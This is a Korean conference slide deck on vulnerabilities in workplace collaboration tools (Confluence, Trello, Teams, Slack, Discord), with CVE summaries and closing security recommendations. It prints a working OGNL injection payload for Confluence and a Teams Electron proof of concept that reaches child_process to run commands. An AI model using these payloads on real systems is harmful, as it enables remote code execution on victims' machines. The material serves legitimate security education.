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업무협업도구

협업툴취약점분석및보안대책
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업무효율성향상및

협업을위한

다양한도구존재

COVID-19에따른

디지털워크가속화로

업무협업도구

사용증가

업무협업도구를

타겟으로한

공격도증가



- Confluence
- Trello
- Microsoft Teams
- Slack
- Discord
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Confluence
• 아틀라시안에서개발한자바기반의

상용위키소프트웨어

협업툴취약점분석및보안대책
라온시큐업2021
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https://support.atlassian.com/jira-cloud-administration/docs/integrate-with-confluence/



Confluence
• Confluence Server WebworkOGNL injection (RCE)

• 2021년 8월

• CVE-2021-26084
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OGNL(Object Graph Navigation Language)

<%@pagecontentType="text/html;charset=utf-8"%>
<%@page import="ognl.Ognl"%>
<%@page import="ognl.OgnlContext"%>

<%
Stringparam=request.getParameter("param");
OgnlContext ctx=newOgnlContext();
Object value=Ognl.getValue(param, ctx, "");

%>

<%=value%>

"" + Class.forName("java.lang.Runtime").getMethod("getRuntime", null).invoke(null, null).exec("touch /tmp/TMSR") + ""



Trello
아틀라시안에서개발한웹기반의
프로젝트관리소프트웨어
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https://help.trello.com/article/708-what-is-trello



Trello
• Trello Desktop app DoSusing HTML Injection
• 2020년 11월
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Trello
• Trello Stored XSS
• 2021년 3월
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Microsoft Teams
• 마이크로소프트에서개발한비즈니스

커뮤니케이션플랫폼

• 윈도우10 기본설치소프트웨어
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https://support.microsoft.com/ko-kr/topic/%EA%B5%90%EC%9C%A1-%ED%99%98%EA%B2%BD%EC%9D%84-%EC%9C%84%ED%95%B4-%EA%B0%84%EC%86%8C%ED%99%94-%EB%90%9C-microsoft-%ED%8C%80-%EC%86%8C%EA%B0%9C-fd5b0668-4156-4ce1-a51a-
e6f54827973d



Microsoft Teams
• Microsoft Teams RCE
• 2020년 11월
• CVE-2020-17091
• Electron.js
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<!-- index.html -->
<!DOCTYPEhtml>
<html>

<head>
<script src="https://statics.teams.microsoft.com/sdk/v1.0/js/MicrosoftTeams.min.js"></script>
<script>
(function() {

'usestrict';
microsoftTeams.initialize();
//getanewcontext andtrigger theauthworkflow
microsoftTeams.getContext(function(context){
microsoftTeams.authentication.authenticate({
url: 'step2.html',
width: 550,
height: 660,
successCallback: function() {},
failureCallback: function() {}

});
});

})();
</script>

</head>
<body>

MicrosoftTeamsPOC
</body>

</html>



Microsoft Teams
• Microsoft Teams RCE
• 2020년 11월
• CVE-2020-17091
• Electron.js
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<!--step2.html-->
<!DOCTYPEhtml>
<html>

<head>
<script>
//withoutcontextisolationtheFunctionprototypeissharedwithwithnodejsinternals.
//thismeanswecanoverloadandahookafunctioncallthatgetsthenode"process"object.
Function.prototype.call=newProxy(Function.prototype.call, {
apply:function(target, thisArg,argumentsList) {
varret=Reflect.apply(target, thisArg,argumentsList);
if(argumentsList[0].pid){ //thisisprobablyaprocessref
argumentsList[0].mainModule.require('child_process').execSync('open/Applications/Calculator.app');

}
returnret

}
});
location.href="done.html"

</script>
</head>
<body>

MSTeamsPOCStep#2
</body>

</html>



Microsoft Teams
• Microsoft Teams 0-click RCE
• 2020년 12월
• AngularJS
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Slack
• 클라우드기반팀협업도구
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https://slack.com/intl/ko-kr/downloads/mac



Slack
• Account takeovers using HTTP Request Smuggling
• 2020년 3월
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Slack
• Account takeovers using HTTP Request Smuggling
• 2020년 3월

협업툴취약점분석및보안대책
라온시큐업2021

17



Slack
• Slack Desktop app RCE
• 2020년 8월
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Slack
• Slack Desktop app RCE
• 2020년 8월

• https://files.slack.com/files-pri/{TEAM_ID}-{FILE_ID}/TITLE
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Slack
• Slack Desktop app RCE
• 2020년 8월
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Slack
• Slack Desktop app RCE
• 2020년 8월
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Slack
• Slack Desktop app RCE
• 2020년 8월
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Slack
• Slack Desktop app RCE
• 2020년 8월
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Discord
• Discord Desktop app RCE
• 2020년 10월
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업무협업도구
개발및사용에따른보안대책03



업무협업도구사용의보안대책

협업툴취약점분석및보안대책
라온시큐업2021

- Electron.js를사용하여

개발할때 asar에

보안옵션활성화

-최신버전항상유지하기

- On-premise 환경에선

Default port

사용하지않기

개발자입장 사용자입장

26

• nodeIntegration옵션의비활성화
• contextIsolation옵션의활성화
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